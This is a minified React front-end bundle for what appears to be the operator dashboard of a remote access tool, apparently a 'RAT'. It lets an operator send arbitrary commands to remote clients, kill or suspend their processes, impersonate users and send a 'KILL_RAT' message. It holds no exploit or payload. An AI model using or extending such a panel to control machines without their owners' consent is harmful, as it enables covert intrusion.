ri=e=>JSON.parse(e),ii=e=>typeof e==`string`?e:JSON.stringify(e),ai=3e4,oi=3e4;function si(e,t){let{autoConnect:n=!0,reconnect:r=!0,reconnectIntervalMs:i=3e3,maxReconnectAttempts:a=1/0,protocols:o,serialize:s=ii,deserialize:c=ri,getTopic:l,onOpen:u,onClose:d,onError:f}=t??{},[p,m]=(0,_.useState)(`disconnected`),[h,g]=(0,_.useState)(null),v=(0,_.useRef)(null),y=(0,_.useRef)(0),b=(0,_.useRef)(null),x=(0,_.useRef)(null),S=(0,_.useRef)(r),C=(0,_.useRef)(!1),w=(0,_.useRef)(!1),T=(0,_.useRef)(s),E=(0,_.useRef)(c),D=(0,_.useRef)(l),O=(0,_.useRef)(u),k=(0,_.useRef)(d),A=(0,_.useRef)(f),j=(0,_.useRef)(()=>{}),M=(0,_.useRef)(new Map),N=(0,_.useRef)(new Set);(0,_.useEffect)(()=>{S.current=r},[r]),(0,_.useEffect)(()=>{T.current=s,E.current=c,D.current=l,O.current=u,k.current=d,A.current=f},[s,c,l,u,d,f]);let P=(0,_.useCallback)(()=>{b.current&&=(clearTimeout(b.current),null)},[]),F=(0,_.useCallback)(()=>{x.current&&=(clearInterval(x.current),null)},[]),I=(0,_.useCallback)(()=>{F(),x.current=setInterval(()=>{let e=v.current;!e||e.readyState!==WebSocket.OPEN||e.send(JSON.stringify({topic:`ping`,payload:{timestamp:Date.now()}}))},ai)},[F]),L=(0,_.useCallback)(()=>{v.current&&=(v.current.onopen=null,v.current.onclose=null,v.current.onerror=null,v.current.onmessage=null,null)},[]),R=(0,_.useCallback)(()=>
49{if(!S.current||C.current||!w.current)return;if(y.current>=a){console.log(`Max reconnect attempts reached, stopping reconnection`);return}let e=y.current,t=Math.min(i*2**e,oi);y.current=e+1,console.log(`Scheduling reconnect attempt ${e+1} in ${t}ms`),P(),b.current=setTimeout(()=>{j.current()},t)},[P,a,i]),ee=(0,_.useCallback)(()=>{if(!e){m(`error`),g(`WebSocket URL is required.`);return}let t=v.current;if(!(t&&(t.readyState===WebSocket.OPEN||t.readyState===WebSocket.CONNECTING))){C.current=!1,P(),w.current=!1,m(`connecting`);try{let t=new WebSocket(e,o);v.current=t,t.onopen=e=>{y.current=0,w.current=!1,m(`connected`),g(null),I(),O.current?.(e)},t.onmessage=e=>{let t;try{t=E.current(String(e.data))}catch{return}let n=D.current?D.current(t):t?.topic;n&&M.current.get(n)?.forEach(n=>n(t,e)),N.current.forEach(r=>r(t,n,e))},t.onerror=e=>{w.current=!0,m(`error`),g(`WebSocket connection error.`),A.current?.(e)},t.onclose=e=>{F(),L(),m(`disconnected`),k.current?.(e);let t=e.code;if(console.log(`WebSocket closed with code: ${t}, reason: ${e.reason}`),t===1005||t===1001||t===1e3){console.log(`Normal closure, not reconnecting`),C.current=!0,w.current=!1;return}if(t===1006){console.log(`Abnormal closure (network issue), attempting reconnect`),w.current=!0,R();return}w.current=!0,R()}}catch(e){w.current=!0,m(`error`),g(e instanceof Error?e.message:`Failed to create WebSocket connection.`),R()}}},[e,o,P,R,L,I,F]);(0,_.useEffect)(()=>{j.current=ee},[ee]);let te=(0,_.useCallback)(()=>{C.current=!0,w.current=!1,P(),F(),y.current=0,v.current&&(v.current.close(),L()),m(`disconnected`)},[P,L,F]),ne=(0,_.useCallback)(e=>{let t=v.current;return!t||t.readyState!==WebSocket.OPEN?!1:(t.send(e),!0)},[]),z=(0,_.useCallback)(e=>{let t=v.current;if(!t||t.readyState!==WebSocket.OPEN)return!1;try{let n=T.current(e);return t.send(n),!0}catch(e){return g(e instanceof Error?e.message:`Failed to serialize WebSocket message.`),m(`error`),!1}},[]),B=(0,_.useCallback)((e,t)=>z({topic:e,payload:t}),[z]),re=(0,_.useCallback)((e,t)=>{let n=M.current.get(e);return n?n.add(t):M.current.set(e,new Set([t])),()=>{let n=M.current.get(e);n&&(n.delete(t),n.size===0&&M.current.delete(e))}},[]),ie=(0,_.useCallback)(e=>(N.current.add(e),()=>{N.current.delete(e)}),[]);return(0,_.useEffect)(()=>{if(n)return ee(),()=>{te()}},[n,ee,te]),(0,_.useEffect)(()=>()=>{P(),F(),L()},[P,L,F]),{status:p,isConnected:p===`connected`,lastError:h,connect:ee,disconnect:te,send:z,sendToTopic:B,sendRaw:ne,subscribe:re,subscribeAll:ie}}function ci(){return`${window.location.protocol===`https:`?`wss`:`ws`}://${window.location.host}/ws-bridge`}async function li(){localStorage.removeItem(`user`);try{await fetch(`/api/auth/logout`,{method:`POST`,credentials:`include`})}catch{}}function ui(e,t){localStorage.setItem(`user`,JSON.stringify(t))}var di=(0,_.createContext)(null);function fi({children:e,enabled:t=!1}){let n=si(ci(),{autoConnect:t,reconnect:!0,reconnectIntervalMs:5e3,maxReconnectAttempts:10,getTopic:e=>e?.type}),r=(0,_.useRef)(new Map);(0,_.useEffect)(()=>n.subscribeAll((e,t)=>{t&&r.current.set(t,e)}),[n.subscribeAll]);let i=(0,_.useCallback)((e,t)=>{let i=r.current.get(e);return i!==void 0&&setTimeout(()=>t(i,null),0),n.subscribe(e,t)},[n.subscribe]),a={...n,subscribe:i};return(0,H.jsx)(di.Provider,{value:a,children:e})}function pi(){let e=(0,_.useContext)(di);if(!e)throw Error(`useBridgeWebSocket must be used within BridgeWebSocketProvider`);return e}function mi(e){let[t,n]=(0,_.useState)(null),r=(0,_.useCallback)(e=>{n(e)},[]),i=(0,_.useCallback)(()=>{n(null)},[]),a=(0,_.useCallback)(()=>{t!==null&&(e(t),n(null))},[t,e]);return{pendingItem:t,isOpen:t!==null,requestConfirm:r,cancelConfirm:i,confirm:a}}var hi=(0,_.createContext)(void 0),gi=0;function _i(){return gi+=1,`toast-${gi}-${Date.now()}`}var vi={success:`â`,error:`â`,info:`â¹`,warning:`â `},yi={success:{bg:`#0d2b1a`,border:`#27ae60`,icon:`#27ae60`,text:`#d4edda`},error:{bg:`#2d0f0f`,border:`#e74c3c`,icon:`#e74c3c`,text:`#f5c6cb`},info:{bg:`#0a1f33`,border:`#3498db`,icon:`#3498db`,text:`#cce5ff`}
49,warning:{bg:`#2d1f0a`,border:`#f39c12`,icon:`#f39c12`,text:`#fff3cd`}};function bi({children:e}){let[t,n]=(0,_.useState)([]),r=(0,_.useRef)(new Map),i=(0,_.useCallback)(e=>{let t=r.current.get(e);t&&(clearTimeout(t),r.current.delete(e)),n(t=>t.filter(t=>t.id!==e))},[]),a=(0,_.useCallback)(e=>{let t=_i(),a={...e,id:t};if(n(e=>[...e,a]),e.duration!==0){let n=e.duration??4e3,a=setTimeout(()=>{i(t)},n);r.current.set(t,a)}return t},[i]),o=(0,_.useCallback)((e,t,n)=>a({type:`success`,title:e,message:t,duration:n}),[a]),s=(0,_.useCallback)((e,t,n)=>a({type:`error`,title:e,message:t,duration:n}),[a]),c=(0,_.useCallback)((e,t,n)=>a({type:`info`,title:e,message:t,duration:n}),[a]),l=(0,_.useCallback)((e,t,n)=>a({type:`warning`,title:e,message:t,duration:n}),[a]);(0,_.useEffect)(()=>()=>{r.current.forEach(e=>clearTimeout(e)),r.current.clear()},[]);let u={toasts:t,addToast:a,removeToast:i,success:o,error:s,info:c,warning:l};return(0,_.createElement)(hi.Provider,{value:u},e,(0,_.createElement)(`div`,{style:{position:`fixed`,top:`16px`,right:`16px`,zIndex:99999,display:`flex`,flexDirection:`column`,gap:`8px`,maxWidth:`420px`,width:`100%`,pointerEvents:`none`}},t.map(e=>{let t=yi[e.type];return(0,_.createElement)(`div`,{key:e.id,style:{pointerEvents:`auto`,background:t.bg,border:`1px solid ${t.border}`,borderRadius:`10px`,padding:`14px 16px`,boxShadow:`0 8px 32px rgba(0,0,0,0.4)`,display:`flex`,alignItems:`flex-start`,gap:`12px`,animation:`toastSlideIn 0.25s ease-out`,backdropFilter:`blur(12px)`}},(0,_.createElement)(`div`,{style:{width:`28px`,height:`28px`,borderRadius:`50%`,background:t.icon+`22`,display:`flex`,alignItems:`center`,justifyContent:`center`,fontSize:`14px`,fontWeight:700,color:t.icon,flexShrink:0,marginTop:`1px`}},vi[e.type]),(0,_.createElement)(`div`,{style:{flex:1,minWidth:0}},(0,_.createElement)(`div`,{style:{color:`#fff`,fontSize:`14px`,fontWeight:600,lineHeight:1.4,marginBottom:e.message?`4px`:`0`}},e.title),e.message?(0,_.createElement)(`div`,{style:{color:t.text,fontSize:`13px`,lineHeight:1.4,wordBreak:`break-word`}},e.message):null),(0,_.createElement)(`button`,{onClick:()=>i(e.id),style:{background:`none`,border:`none`,color:`#888`,cursor:`pointer`,fontSize:`16px`,padding:`2px 4px`,lineHeight:1,flexShrink:0,borderRadius:`4px`},onMouseEnter:e=>e.currentTarget.style.background=`#ffffff11`,onMouseLeave:e=>e.currentTarget.style.background=`none`},`â`))})))}function xi(){let e=(0,_.useContext)(hi);if(!e)throw Error(`useToast must be used within a ToastProvider`);return e}var Si=`toast-styles`;if(typeof document<`u`&&!document.getElementById(Si)){let e=document.createElement(`style`);e.id=Si,e.textContent=` 50 @keyframes toastSlideIn { 51 from { 52 transform: translateX(100%); 53 opacity: 0; 54 } 55 to { 56 transform: translateX(0); 57 opacity: 1; 58 } 59 } 60 `,document.head.appendChild(e)}function Ci({open:e,onClose:t,title:n,children:r,width:i=`520px`}){let a=(0,_.useRef)(null);return(0,_.useEffect)(()=>{if(!e)return;let n=e=>{e.key===`Escape`&&t()};return window.addEventListener(`keydown`,n),()=>window.removeEventListener(`keydown`,n)},[e,t]),(0,_.useEffect)(()=>(e?document.body.style.overflow=`hidden`:document.body.style.overflow=``,()=>{document.body.style.overflow=``}),[e]),e?(0,H.jsxs)(`div`,{ref:a,onClick:e=>{e.target===a.current&&t()},style:{position:`fixed`,inset:0,zIndex:99998,display:`flex`,alignItems:`center`,justifyContent:`center`,background:`rgba(0,0,0,0.6)`,backdropFilter:`blur(4px)`,animation:`modalFadeIn 0.15s ease-out`},children:[(0,H.jsxs)(`div`,{style:{background:`#1e1e1e`,border:`1px solid #333`,borderRadius:`12px`,width:i,maxWidth:`calc(100vw - 32px)`,maxHeight:`calc(100vh - 32px)`,display:`flex`,flexDirection:`column`,boxShadow:`0 16px 48px rgba(0,0,0,0.5)`,animation:`modalScaleIn 0.15s ease-out`},children:[(0,H.jsxs)(`div`,{style:{display:`flex`,alignItems:`center`,justifyContent:`space-between`,padding:`16px 20px`,borderBottom:`1px solid #333`},children:[(0,H.jsx)(`h2`,{style:{margin:0,fontSize:`16px`,fontWeight:600,color:`#fff`},children:n}),(0,H.jsx)(`button`,{onClick:t,style:{background:`none`,border:`none`,color:`#888`,cursor:`pointer`,fontSize:`20px`,padding:`4px 8px`,borderRadius:`6px`,lineHeight:1},onMouseEnter:e=>e.currentTarget.style.background=`#ffffff11`,onMouseLeave:e=>e.currentTarget.style.background=`none`,children:`â`})]}),(0,H.jsx)(`div`,{style:{padding:`20px`,overflowY:`auto`,flex:1,minHeight:0},children:r})]}),(0,H.jsx)(`style`,{children:` 61 @keyframes modalFadeIn { 62 from { opacity: 0; } 63 to { opacity: 1; } 64 } 65 @keyframes modalScaleIn { 66 from { transform: scale(0.95); opacity: 0; } 67 to { transform: scale(1); opacity: 1; } 68 } 69 `})]}):null}var wi=[{value:64,label:`IDLE`,color:`#888`,bg:`#88888822`,desc:`Lowest priority, only runs when system is idle`},{value:32,label:`NORMAL`,color:`#27ae60`,bg:`#27ae6033`,desc:`Default priority for most applications`}
69,{value:128,label:`HIGH`,color:`#f39c12`,bg:`#f39c1233`,desc:`Time-critical tasks, can slow down system`},{value:256,label:`REALTIME`,color:`#e74c3c`,bg:`#e74c3c33`,desc:`Highest priority, can cause system instability`}];function Ti(e){return e===0?null:wi.find(t=>t.value===e)||{value:e,label:`UNKNOWN (${e})`,color:`#888`,bg:`#88888822`,desc:`Unknown priority class`}}function Ei({onSendCommand:e,processes:t}){let n=xi(),[r,i]=(0,_.useState)(null),[a,o]=(0,_.useState)(null),[s,c]=(0,_.useState)({}),l=(e,t)=>{e.preventDefault(),i({x:e.clientX,y:e.clientY,pid:t.pid,name:t.name})},u=(0,_.useCallback)(t=>{if(!r)return;let a=r.pid,o=r.name;i(null);let s={process_kill:`Kill`,process_suspend:`Suspend`,process_resume:`Resume`}[t]||t;e(`${t} ${a}`),n.info(`${s} command sent`,`${o} (PID ${a})`,3e3),t===`process_kill`?c(e=>({...e,[a]:`killed`})):t===`process_suspend`?c(e=>({...e,[a]:`suspended`})):t===`process_resume`&&c(e=>{let t={...e};return delete t[a],t}),setTimeout(()=>{e(`PROCESS_LIST`)},1500)},[r,e,n]),d=(0,_.useCallback)(()=>{r&&(o({pid:r.pid,name:r.name}),i(null))},[r]),f=(0,_.useCallback)(t=>{if(!a)return;e(`process_priority ${a.pid} ${t}`);let r=wi.find(e=>e.value===t)?.label||String(t);n.info(`Priority command sent`,`${a.name} â ${r}`,3e3),o(null),setTimeout(()=>{e(`PROCESS_LIST`)},1500)},[a,e,n]);(0,_.useEffect)(()=>{let e=new Set(t.map(e=>e.pid));c(t=>{let n={...t},r=!1;for(let t of Object.keys(n))e.has(Number(t))||(delete n[Number(t)],r=!0);return r?n:t})},[t]);let p=e=>e<1024?`${e} KB`:`${(e/1024).toFixed(1)} MB`;return(0,H.jsxs)(`div`,{className:`w-full h-full`,style:{display:`flex`,flexDirection:`column`},children:[(0,H.jsx)(`div`,{className:`w-full h-10`,style:{borderBottom:`1px solid #444`},children:(0,H.jsxs)(`h2`,{style:{margin:0,fontSize:`18px`},children:[`Process Manager (`,t.length,` processes)`]})}),(0,H.jsx)(`div`,{style:{flex:1,overflow:`auto`},children:(0,H.jsxs)(`table`,{style:{width:`100%`,borderCollapse:`collapse`},children:[(0,H.jsx)(`thead`,{children:(0,H.jsxs)(`tr`,{style:{background:`#1a1a1a`},children:[(0,H.jsx)(`th`,{style:{padding:`12px`,textAlign:`left`},children:`PID`}),(0,H.jsx)(`th`,{style:{padding:`12px`,textAlign:`left`}
69,children:`Name`}),(0,H.jsx)(`th`,{style:{padding:`12px`,textAlign:`left`},children:`Priority`}),(0,H.jsx)(`th`,{style:{padding:`12px`,textAlign:`left`},children:`Username`}),(0,H.jsx)(`th`,{style:{padding:`12px`,textAlign:`right`},children:`Memory`}),(0,H.jsx)(`th`,{style:{padding:`12px`,textAlign:`left`},children:`Arch`}),(0,H.jsx)(`th`,{style:{padding:`12px`,textAlign:`left`},children:`Path`})]})}),(0,H.jsx)(`tbody`,{children:t.map(e=>{let t=Ti(e.priority);return(0,H.jsxs)(`tr`,{style:{borderBottom:`1px solid #333`},onContextMenu:t=>l(t,e),children:[(0,H.jsx)(`td`,{style:{padding:`12px`},children:e.pid}),(0,H.jsx)(`td`,{style:{padding:`12px`},children:(0,H.jsxs)(`div`,{style:{display:`flex`,alignItems:`center`,gap:`6px`},children:[(0,H.jsx)(`span`,{title:e.path,children:e.name}),s[e.pid]===`killed`&&(0,H.jsx)(`span`,{style:{display:`inline-block`,padding:`1px 6px`,borderRadius:`3px`,fontSize:`10px`,fontWeight:700,background:`#e74c3c33`,color:`#e74c3c`,border:`1px solid #e74c3c44`,textTransform:`uppercase`,letterSpacing:`0.5px`},children:`STOPPED`}),s[e.pid]===`suspended`&&(0,H.jsx)(`span`,{style:{display:`inline-block`,padding:`1px 6px`,borderRadius:`3px`,fontSize:`10px`,fontWeight:700,background:`#f39c1233`,color:`#f39c12`,border:`1px solid #f39
69c1244`,textTransform:`uppercase`,letterSpacing:`0.5px`},children:`SUSPENDED`})]})}),(0,H.jsx)(`td`,{style:{padding:`12px`},children:t?(0,H.jsx)(`span`,{style:{display:`inline-block`,padding:`2px 8px`,borderRadius:`4px`,fontSize:`11px`,fontWeight:600,background:t.bg,color:t.color,border:`1px solid ${t.color}44`},children:t.label}):(0,H.jsx)(`span`,{style:{color:`#666`,fontSize:`11px`},children:`N/A`})}),(0,H.jsx)(`td`,{style:{padding:`12px`},children:e.username}),(0,H.jsx)(`td`,{style:{padding:`12px`,textAlign:`right`},children:p(e.memory)}),(0,H.jsx)(`td`,{style:{padding:`12px`},children:e.architecture}),(0,H.jsx)(`td`,{style:{padding:`12px`,fontSize:`12px`,color:`#aaa`},title:e.path,children:e.path.split(`\\`).pop()})]},e.pid)})})]})}),r&&(0,H.jsxs)(`div`,{style:{position:`fixed`,left:`${r.x}px`,top:`${r.y}px`,background:`rgba(15, 23, 42, 0.75)`,backdropFilter:`blur(12px)`,WebkitBackdropFilter:`blur(12px)`,border:`1px solid rgba(71, 85, 105, 0.4)`,borderRadius:`8px`,padding:`6px`,boxShadow:`0 10px 25px -5px rgba(0, 0, 0, 0.5), 0 8px 10px -6px rgba(0, 0, 0, 0.5)`,zIndex:1e3,minWidth:`180px`,display:`flex`,flexDirection:`column`,gap:`2px`},children:[(0,H.jsx)(`button`,{onClick:()=>u(`process_kill`),style:{display:`block`,width:`100%`,padding:`8px 12px`,background:`transparent`,border:`none`,borderRadius:`4px`,textAlign:`left`,color:`#f87171`,cursor:`pointer`,fontSize:`13px`,fontWeight:500,transition:`all 0.15s ease`},onMouseEnter:e=>e.target.style.background=`rgba(239, 68, 68, 0.15)`,onMouseLeave:e=>e.target.style.background=`transparent`,children:`Kill Process`}),s[r.pid]!==`suspended`&&(0,H.jsx)(`button`,{onClick:()=>u(`process_suspend`),style:{display:`block`,width:`100%`,padding:`8px 12px`,background:`transparent`,border:`none`,borderRadius:`4px`,textAlign:`left`,color:`#d97706`,cursor:`pointer`,fontSize:`13px`,fontWeight:500,transition:`all 0.15s ease`},onMouseEnter:e=>e.target.style.background=`rgba(217, 119, 6, 0.15)`,onMouseLeave:e=>e.target.style.background=`transparent`,children:`Suspend Process`}),s[r.pid]===`suspended`&&(0,H.jsx)(`button`,{onClick:()=>u(`process_resume`),style:{display:`block`,width:`100%`,padding:`8px 12px`,background:`transparent`,border:`none`,borderRadius:`4px`,textAlign:`left`,color:`#10b981`,cursor:`pointer`,fontSize:`13px`,fontWeight:500,transition:`all 0.15s ease`},onMouseEnter:e=>e.target.style.background=`rgba(16, 185, 129, 0.15)`,onMouseLeave:e=>e.target.style.background=`transparent`,children:`Resume Process`}),(0,H.jsx)(`div`,{style:{height:`1px`,background:`rgba(71, 85, 105, 0.4)`,margin:`4px 2px`}}),(0,H.jsx)(`button`,{onClick:d,style:{display:`block`,width:`100%`,padding:`8px 12px`,background:`transparent`,border:`none`,borderRadius:`4px`,textAlign:`left`,color:`#cbd5e1`,cursor:`pointer`,fontSize:`13px`,fontWeight:500,transition:`all 0.15s ease`},onMouseEnter:e=>e.target.style.background=`rgba(71, 85, 105, 0.25)`,onMouseLeave:e=>e.target.style.background=`transparent`,children:`Set Priority`})]}),r&&(0,H.jsx)(`div`,{style:{position:`fixed`,top:0,left:0,right:0,bottom:0,zIndex:999},onClick:()=>i(null)}),(0,H.jsx)(Ci,{open:!!a,onClose:()=>o(null),title:`Set Priority - ${a?.name||``} (PID ${a?.pid||``})`,width:`480px`,children:(0,H.jsx)(`div`,{style:{display:`flex`,flexDirection:`column`,gap:`12px`},children:wi.map(e=>(0,H.jsxs)(`button`,{onClick:()=>f(e.value),style:{display:`flex`,alignItems:`center`,justifyContent:`space-between`,padding:`14px 16px`,background:`#2a2a2a`,border:`1px solid #444`,borderRadius:`8px`,cursor:`pointer`,color:`#fff`,textAlign:`left`,transition:`all 0.15s`},onMouseEnter:e=>{e.currentTarget.style.background=`#333`,e.currentTarget.style.borderColor=`#666`},onMouseLeave:e=>{e.currentTarget.style.background=`#2a2a2a`,e.currentTarget.style.borderColor=`#444`},children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`div`,{style:{fontSize:`15px`,fontWeight:600,marginBottom:`4px`},children:e.label}),(0,H.jsx)(`div`,{style:{fontSize:`12px`,color:`#aaa`},children:e.desc})]}),(0,H.jsx)(`div`,{style:{padding:`4px 10px`,borderRadius:`4px`,fontSize:`13px`,fontWeight:600,background:e.bg,color:e.color},children:e.value})]},e.value))})})]})}var Di=(0,_.createContext)(void 0),Oi=30*1e3,G=`dashboardStore.commandOutput.v1`,ki=`dashboardStore.processLists.v1`,Ai=`dashboardStore.impersonation.v1`,ji=`dashboardStore.notifications.v1`;function Mi(){if(typeof window>`u`)return new Map;try{let e=window.localStorage.getItem(G);if(!e)return new Map;let t=JSON.parse(e);return Array.isArray(t)?new Map(t.filter(e=>Array.isArray(e)&&typeof e[0]==`string`&&typeof e[1]==`string`)):new Map}catch{return new Map}}function Ni(){if(typeof window>`u`)return new Map;try{let e=window.localStorage.getItem(ki);if(!e)return new Map;let t=JSON.parse(e);if(!Array.isArray(t))return new Map;let n=t.filter(e=>Array.isArray(e)&&typeof e[0]==`string`&&typeof e[1]==`object`&&e[1]!==null&&Array.isArray(e[1].processes)&&typeof e[1].timestamp==`number`);return new Map(n)}catch{return new Map}}function Pi(){if(typeof window>`u`)return[];try{let e=window.localStorage.getItem(ji);if(!e)return[];let t=JSON.parse(e);return Array.isArray(t)?t.filter(e=>{if(!e||typeof e!=`object`)return!1;let t=e;return typeof t.id==`string`&&(t.type===`system_overload`||t.type===`info`||t.type===`warning`)&&typeof t.message==`string`&&typeof t.timestamp==`number`}).map(e=>({...e,read:!1})):[]}catch{return[]}}function Fi({children:e}){let[t,n]=(0,_.useState)(()=>Mi()),[r,i]=(0,_.useState)(()=>Ni()),[a,o]=(0,_.useState)([]),[s,c]=(0,_.useState)(null);(0,_.useEffect)(()=>{typeof window>`u`||window.localStorage.setItem(G,JSON.stringify(Array.from(t.entries())))},[t]),(0,_.useEffect)(()=>{typeof window>`u`||window.localStorage.setItem(ki,JSON.stringify(Array.from(r.entries())))},[r]),(0,_.useEffect)(()=>{typeof window>`u`||window.localStorage.removeItem(Ai)},[]);let l=(0,_.useCallback)((e,t)=>{n(n=>{let r=new Map(n),i=r.get(e)||``;return r.set(e,i?`${i}\n${t}`:t),r})},[]),u=(0,_.useCallback)(e=>t.get(e)||``,[t]),d=(0,_.useCallback)((e,t)=>{i(n=>{let r=new Map(n);return r.set(e,{processes:t,timestamp:Date.now()}),r})},[]),f=(0,_.useCallback)(e=>{let t=r.get(e);return t?Date.now()-t.timestamp>Oi?(i(t=>{if(!t.has(e))return t;let n=new Map(t);return n.delete(e),n}),null):t.processes:null},[r]),p=(0,_.useCallback)(e=>{let t=r.get(e);return t?Date.now()-t.timestamp>Oi:!0},[r]),m=(0,_.useCallback)(e=>{o(()=>{let t=new Map;
69return e.forEach(e=>{e?.id&&t.set(String(e.id),{...e,id:String(e.id)})}),Array.from(t.values())})},[]),h=(0,_.useCallback)(e=>{if(!e?.id)return;let t=String(e.id);o(n=>{let r=n.findIndex(e=>e.id===t);if(r===-1)return[{...e,id:t},...n];let i=[...n];return i[r]={...i[r],...e,id:t},i})},[]),g=(0,_.useCallback)(e=>{o(t=>t.filter(t=>t.id!==e))},[]),v=(0,_.useCallback)(e=>{n(t=>{let n=new Map(t);return n.delete(e),n}),i(t=>{let n=new Map(t);return n.delete(e),n})},[]),y=(0,_.useCallback)(()=>{n(new Map),i(new Map),o([])},[]),b=(0,_.useCallback)((e,t)=>{c({userId:e,username:t})},[]),x=(0,_.useCallback)(()=>{c(null)},[]),[S,C]=(0,_.useState)(()=>Pi()),[w,T]=(0,_.useState)(!1);(0,_.useEffect)(()=>{typeof window>`u`||window.localStorage.setItem(ji,JSON.stringify(S.filter(e=>e.persistent).slice(0,20)))},[S]);let E=(0,_.useCallback)(e=>{C(t=>{let n={...e,id:Date.now().toString(36)+Math.random().toString(36).slice(2),read:!1};return n.persistent&&n.hostname?[n,...t.filter(e=>!(e.persistent&&e.hostname===n.hostname))]:[n,...t]})},[]),D=(0,_.useCallback)(()=>{C(e=>e.map(e=>({...e,read:!0})))},[]),O=(0,_.useCallback)(()=>{C(e=>e.filter(e=>e.persistent))},[]),k={commandOutput:t,processLists:r,clients:a,addCommandOutput:l,getCommandOutput:u,setProcessList:d,getProcessList:f,shouldRefreshProcessList:p,setClients:m,upsertClient:h,removeClient:g,clearClientData:v,clearAllData:y,impersonateUserId:s?.userId??null,impersonateUsername:s?.username??null,setImpersonation:b,clearImpersonation:x,notifications:S,addNotification:E,markAllRead:D,clearNotifications:O,isOverloaded:w,setOverloaded:T};return(0,_.createElement)(Di.Provider,{value:k},e)}function Ii(){let e=(0,_.useContext)(Di);if(e===void 0)throw Error(`useDashboardStore must be used within a DashboardStoreProvider`);return e}function Li(e){return typeof e==`object`&&!!e}function Ri(e){if(!Li(e))return null;let t=String(e.id??``).trim();return t?{id:t,ip:String(e.ip??e.ip_address??`-`),hostname:String(e.hostname??e.host??`-`),os:String(e.os??e.os_version??e.platform??`-`),status:String(e.status??(e.is_online?`online`:`offline`)),lastSeen:typeof e.lastSeen==`number`?e.lastSeen:typeof e.last_seen==`number`?e.last_seen:Date.now()}:null}function zi(e){return typeof e==`string`?{output:e}:Li(e)?{clientId:typeof e.clientId==`string`?e.clientId:void 0,output:typeof e.output==`string`?e.output:typeof e.result==`string`?e.result:typeof e.data==`string`?e.data:void 0}:{}}var Bi={64:`IDLE`,32:`NORMAL`,128:`HIGH`,256:`REALTIME`};function Vi(e){let t=e.match(/(?:^|\n)PROCESS_RESULT\|(\w+)\|(\w+)\|(\d+)\|([^\n]+?)(?:\n|PROCESS_LIST_RESPONSE|$)/);if(!t)return null;let n=t[4].trim(),r=n.indexOf(`PROCESS_LIST_RESPONSE`);r!==-1&&(n=n.substring(0,r).trim());let i=n.search(/[\[{]/);return i!==-1&&(n=n.substring(0,i).trim()),{action:t[1],success:t[2]===`success`,pid:parseInt(t[3]),message:n}}function Hi(){let[e,t]=(0,_.useState)(void 0),[n,r]=(0,_.useState)(`commands`),[i,a]=(0,_.useState)({}),{status:o,lastError:s,sendToTopic:c,subscribeAll:l}=pi(),u=Ii(),d=xi(),f=(0,_.useMemo)(()=>u.clients.map(Ri).filter(e=>e!==null),[u.clients]),p=(0,_.useMemo)(()=>e?u.getCommandOutput(e):``,[e,u]),m=(0,_.useMemo)(()=>e&&u.getProcessList(e)||[],[e,u]),h=(0,_.useMemo)(()=>f.find(t=>t.id===e),[f,e]);(0,_.useEffect)(()=>l((t,n)=>{let r=n??t.topic??t.type;if(r===`client_heartbeat`){let e=typeof t.clientId==`string`?t.clientId:null;if(e){let n=typeof t.timestamp==`number`?t.timestamp:Date.now();a(t=>({...t,[e]:n}))}return}if(r===`command_output`||r===`client_output`){let n=zi(t.payload??t.output??t.data),r=n.clientId||e;if(r&&n.output){u.addCommandOutput(r,n.output);let e=Vi(n.output);if(e){let t={kill:`Kill`,suspend:`Suspend`,resume:`Resume`,priority:`Priority`}[e.action]||e.action;if(e.success){let n=e.message;e.action===`priority`&&(n=`Set to ${Bi[parseInt(e.message)]||e.message}`),d.success(`${t} succeeded`,`PID ${e.pid}: ${n}`,4e3)}else d.error(`${t} failed`,`PID ${e.pid}: ${e.message}`,5e3)}}return}if(r===`process_list`){let n=typeof t.clientId==`string`?t.clientId:e,r=Array.isArray(t.processes)?t.processes:Array.isArray(t.payload)?t.payload:Array.isArray(t.data)?t.data:[],i=Array.isArray(r)?r.map(e=>({pid:e.pid,name:e.name||``,memory:e.memory||0,architecture:e.architecture||`Unknown`,username:e.username||`Unknown`,path:e.path||``,priority:e.priority||0})):[];n&&i.length>0&&u.setProcessList(n,i);return}}),[e,l,u,d]),(0,_.useEffect)(()=>{t(e=>{if(f.length!==0)return e&&f.some(t=>t.id===e)?e:f[0].id})},[f]);let g=t=>
69{if(!e){u.addCommandOutput(`system`,`[system] Select a client before sending a command.`);return}if(!c(`command`,{clientId:e,command:t})){u.addCommandOutput(e,`[system] Failed to send command (socket not connected).`);return}u.addCommandOutput(e,`> ${t}`)},v=e=>{if(!c(`kill_rat`,{clientId:e.id})){u.addCommandOutput(e.id,`[system] Failed to send kill command (socket not connected).`);return}u.addCommandOutput(e.id,`> KILL_RAT`)},{pendingItem:y,isOpen:b,requestConfirm:x,cancelConfirm:S,confirm:C}=mi(e=>{u.removeClient(e.id),c(`db_query`,{query:`delete_client`,clientId:e.id,impersonateUserId:u.impersonateUserId??void 0})});return(0,H.jsxs)(`div`,{className:`space-y-4`,children:[(0,H.jsxs)(`div`,{className:`panel flex flex-wrap items-center justify-between gap-3 px-4 py-1 w-full`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`h3`,{className:`text-lg font-semibold text-slate-100`,children:`Client Command Dashboard`}),h?(0,H.jsxs)(`p`,{className:`text-sm text-slate-300`,children:[`Selected: `,(0,H.jsx)(`span`,{className:`font-medium text-slate-100`,children:h.id}),` · `,h.hostname,` ·`,` `,h.ip,` · `,h.os]}):(0,H.jsx)(`p`,{className:`text-sm text-slate-400`,children:`No client selected`})]}),(0,H.jsxs)(`div`,{className:`text-right text-sm`,children:[(0,H.jsxs)(`p`,{className:`text-slate-300`,children:[`Socket: `,(0,H.jsx)(`span`,{className:`font-medium capitalize text-slate-100`,children:o})]}),s?(0,H.jsx)(`p`,{className:`text-red-400`,children:s}):null]})]}),(0,H.jsxs)(`div`,{className:`grid gap-4 flex-col w-full`,children:[(0,H.jsx)(ni,{clients:f,onSelectClient:e=>t(e.id),selectedClientId:e,onDeleteClient:x,onKillClient:v,heartbeats:i}),(0,H.jsxs)(`div`,{className:`grid min-w-0 gap-4 flex-col w-full overflow-hidden`,children:[(0,H.jsxs)(`div`,{className:`flex border-b border-slate-800`,children:[(0,H.jsx)(`button`,{className:`px-4 py-2 font-medium ${n===`commands`?`border-b-2 border-brand-500 text-brand-400`:`text-slate-400 hover:text-slate-200`}`,onClick:()=>r(`commands`),children:`Commands`}),(0,H.jsxs)(`button`,{className:`px-4 py-2 font-medium ${n===`processes`?`border-b-2 border-brand-500 text-brand-400`:`text-slate-400 